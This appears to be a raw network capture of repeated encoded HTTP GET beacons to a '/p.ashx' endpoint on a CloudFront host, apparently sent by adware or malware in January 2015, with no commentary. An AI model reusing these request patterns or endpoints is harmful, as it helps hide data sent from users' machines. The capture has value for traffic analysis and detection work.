X-Amz-Cf-Id: 3BeE7um0GgngrehwfODujuBMdds2L7SuAhcub-iQaJBi0s65xXyihA==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxQEru0RuuZSXHFdCYmCgFwTxIUcsgQ wwCZLjKPQ6Z6hVaWFI 9Gui2BiJRR6OEh94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5Mrz3HjAX5f3Mu6QVkhmBNubY4G r 3F6T7fkqm4d2S5jLFX/vPL/gxF8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVKbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0Cj/mQ03Cr2g= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GJS-fDGFChwkFOA1xBKrbNjJPiX9bf3znIKFg98d7Di1cHRldXfYFQ==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrXMxgqnmmqSQoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: r4lnFwsAYWAOqpQndJifKN1hjTAPbQAlLmHhfz1q9mPT3zuWkpDDeQ==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrGxrTqW15vZCY3rFz7xHa/LPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsZ3d0Bo9MYSMvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObMZm 8qxpeoo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oI6lUjj3yqMKcH0NjJRdJ-MDxaK868v6rH4TBSfrxGHc3meefjEfUg==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5Mrk0XByrlXk6UsXzCYJGHkaymF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0BqRX33viFpH2xco9vFZH11njr_lp45j5KFaKSaA2KPtKmJdNIv0bQ==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxBAEp0wLfKPr3Vpd156CrdCUHeR8YCF3eApPxgKLj6N6btWtv6UslJSmFiEuG/089S40a1ZjOWBZguxgnOukjtBEfG0/PwdpXwZhJEhXGlay571IekL8TPxyvzupEEgr3/q5YzclMBLvgWFQj2kcVyq/fn/D/dR63T7MsQGC7Thy4GCtJXzHHBUmpStNaTb9HXLCY6SvV 9KgDVpxrNENDf EwCPuEK2/Z8XWfHRBYgtt5NJ0IACZYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8dH6HwkFDyPU4tademT9Hka5X92fm477Sktd6ZKA3e4Mb1r8MqvqrE= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8651RI0PWaGbltXWpnT6Ei0IyBJvxmlnemUK9ObdhllQ73a4EsfksQ==

....

GET /p.ashx?e=yhrBLBbZM9XpxK87b oDM8xndPpeZYzTe5d8pLlwixGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsIfmlGltrkysbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXe thF4yl7nfnnVEIDOoHdm2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RaMr1k3NuKeJZzWkKIkDIUckVx2yegiYidQM3piB1r2u_00k03-Ojw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:16 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: rOXl_a1-ZMfz01fxHlpx2tbxe
OCAJt--kNvBzPQCNx5TY_QuwQ5niA==......

GET /p.ashx?e=lOCrbsNL2zX5PxLbQh95wGlBVeUjsyYpATiRXab0IMZAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTerUS xu59wfjaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9GYMfFfhpIaQpKb81Sa5kgtqq35bppXPWAnShT6V4w3E8qJaeUqNPyfIROPie2z40yolAiAYcC0Bjgb6v7cXpPsFcFDqW67NoATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AaHWkWMrNnFOeb1Lv8ICTjMG8CDZltQOTBgb9L-0R3xOgryei3PALA==

....

GET /p.ashx?e=lOCrbsNL2zX5PxLbQh95wGlBVeUjsyYpATiRXab0IMZAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTerUS xu59wfjaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9GYMfFfhpIaQpKb81Sa5kgtqq35bppXPWAnShT6V4w3E8qJaeUqNPyfciXFAHp4HlN0tx3OIPhi9EwAaRG2pHiWQ4He/tpOrQX3WTcqgG6cW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: p2b8Hpw2LswnTigN-ARvmwttR5YZ9jC--i60N_o3oxIIgw4m-5zYtw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: p2b8Hpw2LswnTigN-ARvmwttR
5YZ9jC--i60N_o3oxIIgw4m-5zYtw==......

GET /p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdHNDw67npC6OqeQ3rY1n1snbps i3tsmdgY/uEk4rusqEJ5mSKufXaig7yEO8f78RjGVOK1 ZzqmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wkNJLvnPejBxL5Tj5Q5DfZLZF28v90pL9Ar8CdjB6Z2SuS_WfmKRpQ==

....

GET /p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdWqXR tQCTQJmyhLgvMFEGq2e8t8Sq5T094khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: t_T7tmktra7on8OubpJEfvuiH-b9uHzmxCctvyreiDkKXb2FwpMdfg==

....

GET /p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&ver=2.2.7764.475&rnd=578&tss=5&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: X3dDQ0xU_tR1wOoVRoqQ5IPRdmSlYwgKePeaWDdbQCvJySLnTv6hbg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:17 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: X3dDQ0xU_tR1wOoVRoqQ5IPRd
mSlYwgKePeaWDdbQCvJySLnTv6hbg==......

GET /p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YOgqpFoRMZSCYnEK43tqK5p2skB4aC3ESGdgElvBjDHB8P rxL ch GZ0xm6mhNmOwAWodnV1HIBQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: On4P9FUPl5n8vHRxbaiBOQ7zD1qGc07LluMxPXjgk4WbyW6n-mXzIg==

....

GET /p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMkVSCntIhzCZedLPIUyUClqXRCjGf3kymM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0MULHIjShYRwrsrNG_viXJa0cKz3zMlQgSVwczUE3bY9Bpl_jPJnjQ==

....

GET /p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMSNngOvjpV1AJRbnguo3YM4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhSKuq a9voh/XKNbNNj7X1sHDaYdBKVUtUGTcbtYH5m8riJiRRXTrzzEIg0SEo7WoPYvtkTH5Sv0Tmdm1Iu 6kR8nL0NYvUnweS3GO1 lt7m2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: snK79bAdium5zLqXNYtryYskqoHqI_btjfSIwP1yC4xGNSJLEZzhVA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:19 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: snK79bAdium5zLqXNYtryYskq
oHqI_btjfSIwP1yC4xGNSJLEZzhVA==......

GET /p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TU1G SrHc cvhQC drCF7eFWfTQ4uNlwZxoslvaOLlV6m3Eqg1BxGkGLpn197AUjxVjxtpfXNVbFRGZp3J2MN0PrPHVvofh aNpAyCQVYuHT Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: B9r43aNiXFnoXaaXZqlmadnobQlyV6eY9Qq6-ud_8aEu0E4TLNWyfg==

....

GET /p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TWY3dherMzfZgTxIUcsgQ w1aDoZZJn92CDI/3HfRBflettI4rTin8a9YQa1M1ixNx7mILDVVJ2RzPCHr6QGZkCBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLGd3dAaPTGEjL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTmzGZvvKsaXqK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _bA5eRYq_98-VRs5biP4l0zoSquhQdelEwn9wU8LUjywnjdb3yyKWw==

....

GET /p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TU1G SrHc cvhQC drCF7eFbXdSsqAvwtCkrgD0XFzVh1CA40OKD14vfdZNyqAbpxbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdva2hNibsqR5hXAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ76MAwoThEpYr HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XbEIv6HJNbdVv0wTLKrW6OEdAM6IaE0fUcwZzGE6g4WA-O0cAhBUog==

....

GET /p.ashx?e=s5Ydxb c7o0DbDSBvTK 4Ixuv1xakTxHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSp2RYIisGWDvAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ78IhYs2ekz18XS/G3EQZqX35gOZQe8Bii2ujEYXsRT5LT/P10voOXfCrT39xpLKqCAv9dYcKEPERceLsPpRf2XJTOcV86CMfT9l6973LliaHNh3QJEALW3SR5Cft02qMYJ4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Mtl rzV01dnjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx/2JYUXYGr9YA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

